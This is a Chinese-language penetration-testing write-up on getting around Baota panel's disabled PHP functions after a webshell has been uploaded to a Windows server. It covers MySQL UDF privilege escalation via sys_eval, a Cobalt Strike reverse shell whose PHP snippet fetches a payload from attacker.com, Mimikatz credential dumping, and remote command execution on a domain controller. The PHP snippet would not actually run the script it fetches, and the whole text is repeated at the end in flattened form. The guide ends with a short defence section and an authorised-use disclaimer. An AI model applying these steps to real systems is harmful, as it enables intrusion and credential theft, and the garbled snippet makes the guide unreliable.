宝塔disable functions函数全被禁命令执行+加域服务器如何无限制执行命令
字数 1139 2025-08-15 21:32:39

宝塔面板禁用函数绕过与域服务器无限制命令执行技术指南

环境概述

  • 实验环境:Windows Server 2008 R2
  • Web环境:宝塔面板搭建的IIS + Discuz 3.2X
  • 攻击路径:手动上传Webshell → 冰蝎连接
  • 问题发现:连接后发现无法执行系统命令

问题分析

宝塔默认禁用函数

通过phpinfo查看,发现宝塔面板默认禁用了大量PHP函数,几乎涵盖了所有常用的命令执行函数:

disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec,dl,...

常规绕过方法失效

  1. 直接函数调用:所有命令执行函数均被禁用
  2. LD_PRELOAD技术:putenv函数被禁用,无法使用
  3. 其他常见绕过技术:如反引号、create_function等均被禁用

技术解决方案

方案一:MySQL UDF提权

适用条件

  • 拥有MySQL root权限或高权限数据库账户
  • MySQL允许自定义函数

实施步骤

  1. 导出UDF.dll文件

    • 使用暗月提权工具生成对应版本的udf.dll
    • 注意不同MySQL版本的导出路径:
      • MySQL <5.1:C:\udf.dll (2000/2003系统)
      • MySQL >=5.1:MySQL安装目录下的lib\plugin文件夹
  2. 创建自定义函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    
  3. 执行系统命令

    SELECT sys_eval('whoami');
    

限制

  • 某些环境下执行复杂命令可能导致数据库服务崩溃
  • 需要数据库高权限账户

方案二:Cobalt Strike反弹Shell

实施步骤

  1. 生成PowerShell payload

    • 使用Cobalt Strike 4.1+版本生成payload
    • 注意:3.13/3.14版本可能无法正常执行
  2. 通过Webshell执行PowerShell命令

    <?php
    // 使用未被禁用的函数如file_get_contents执行远程脚本
    file_get_contents("http://attacker.com/payload.ps1");
    ?>
    
    
  3. 获取交互式Shell

    • 成功获取普通管理员权限的会话
    • 可无限制执行系统命令

方案三:利用Windows域环境特性

发现

  • 在加域服务器上,即使没有域管理员密码,也能执行某些特权操作
  • 通过PowerShell可以绕过部分限制

实施方法

  1. 使用Mimikatz提取凭据

    Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
    
  2. 利用PowerShell远程执行

    Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}
    

注意事项

  1. 环境差异

    • 不同版本的宝塔面板禁用函数列表可能不同
    • MySQL提权方法在不同MySQL版本上表现不同
  2. 防御措施

    • 宝塔面板的严格默认配置有效阻止了常规攻击
    • 数据库服务应限制远程访问和高权限账户
  3. 法律风险

    • 所有技术仅限授权测试使用
    • 未经授权测试属于违法行为

总结

本指南展示了在宝塔面板严格限制下的三种有效绕过方法:

  1. MySQL UDF提权 - 适用于有数据库高权限的情况
  2. Cobalt Strike反弹 - 获取交互式Shell的有效方法
  3. 域环境特性利用 - 在特定环境下可绕过部分限制

每种方法都有其适用场景和限制条件,实际渗透测试中需要根据目标环境灵活选择或组合使用。

宝塔面板禁用函数绕过与域服务器无限制命令执行技术指南 环境概述 实验环境 :Windows Server 2008 R2 Web环境 :宝塔面板搭建的IIS + Discuz 3.2X 攻击路径 :手动上传Webshell → 冰蝎连接 问题发现 :连接后发现无法执行系统命令 问题分析 宝塔默认禁用函数 通过phpinfo查看,发现宝塔面板默认禁用了大量PHP函数,几乎涵盖了所有常用的命令执行函数: 常规绕过方法失效 直接函数调用 :所有命令执行函数均被禁用 LD_ PRELOAD技术 :putenv函数被禁用,无法使用 其他常见绕过技术 :如反引号、create_ function等均被禁用 技术解决方案 方案一:MySQL UDF提权 适用条件 : 拥有MySQL root权限或高权限数据库账户 MySQL允许自定义函数 实施步骤 : 导出UDF.dll文件 使用暗月提权工具生成对应版本的udf.dll 注意不同MySQL版本的导出路径: MySQL <5.1: C:\udf.dll (2000/2003系统) MySQL >=5.1:MySQL安装目录下的 lib\plugin 文件夹 创建自定义函数 执行系统命令 限制 : 某些环境下执行复杂命令可能导致数据库服务崩溃 需要数据库高权限账户 方案二:Cobalt Strike反弹Shell 实施步骤 : 生成PowerShell payload 使用Cobalt Strike 4.1+版本生成payload 注意:3.13/3.14版本可能无法正常执行 通过Webshell执行PowerShell命令 获取交互式Shell 成功获取普通管理员权限的会话 可无限制执行系统命令 方案三:利用Windows域环境特性 发现 : 在加域服务器上,即使没有域管理员密码,也能执行某些特权操作 通过PowerShell可以绕过部分限制 实施方法 : 使用Mimikatz提取凭据 利用PowerShell远程执行 注意事项 环境差异 : 不同版本的宝塔面板禁用函数列表可能不同 MySQL提权方法在不同MySQL版本上表现不同 防御措施 : 宝塔面板的严格默认配置有效阻止了常规攻击 数据库服务应限制远程访问和高权限账户 法律风险 : 所有技术仅限授权测试使用 未经授权测试属于违法行为 总结 本指南展示了在宝塔面板严格限制下的三种有效绕过方法: MySQL UDF提权 - 适用于有数据库高权限的情况 Cobalt Strike反弹 - 获取交互式Shell的有效方法 域环境特性利用 - 在特定环境下可绕过部分限制 每种方法都有其适用场景和限制条件,实际渗透测试中需要根据目标环境灵活选择或组合使用。